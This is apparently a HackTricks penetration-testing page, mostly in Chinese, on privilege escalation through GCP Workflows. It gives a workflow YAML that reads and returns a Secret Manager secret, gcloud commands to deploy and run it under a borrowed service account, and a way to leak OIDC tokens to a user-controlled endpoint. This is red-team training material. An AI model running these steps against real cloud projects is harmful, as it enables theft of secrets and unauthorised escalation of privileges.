GCP - Workflows Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Workflows

基本信息:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

据我所知,不可能获得一个可以访问元数据端点并包含附加到 Workflow 的 SA 的凭证的 shell。然而,可以通过在 Workflow 中添加要执行的操作来滥用该 SA 的权限。

It’s possible to find the documentation of the connectors. For example, this is the page of the Secretmanager connector. 在侧边栏可以找到其他一些连接器。

下面是一个会输出 secret 的连接器示例:

Workflow YAML 配置用于访问 secrets ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

从 CLI 更新:

从 CLI 部署并执行 workflows ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` 如果你遇到类似 `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` 的错误,只需**等一会儿再试**。

如果没有 web 访问权限,也可以通过以下方式触发并查看 Workflow 的执行:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

你也可以检查先前执行的输出以查找敏感信息

请注意,即使你收到类似 PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... 的错误(因为你没有该权限),workflow 仍已被生成。

Leak OIDC token (and OAuth?)

根据 to the docs,可以使用 workflow 步骤发送包含 OAuth 或 OIDC token 的 HTTP 请求。然而,就像在 Cloud Scheduler 的情况一样,携带 Oauth token 的 HTTP 请求必须发送到主机 .googleapis.com

Caution

因此,可以通过指定一个由用户控制的 HTTP endpoint 来 leak OIDC token,但要 leak OAuth token 则需要绕过该保护。 然而,你仍然可以使用 connectors 或带有 OAuth token 的 HTTP 请求 联系任何 GCP api 代表 SA 执行操作

Oauth

Workflow 带有 OAuth token 的 HTTP 请求 ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
使用 OIDC 令牌的 Workflow HTTP 请求 ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

有了此权限(而不是 workflows.workflows.create),可以更新已有的 workflow 并执行相同的攻击。

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks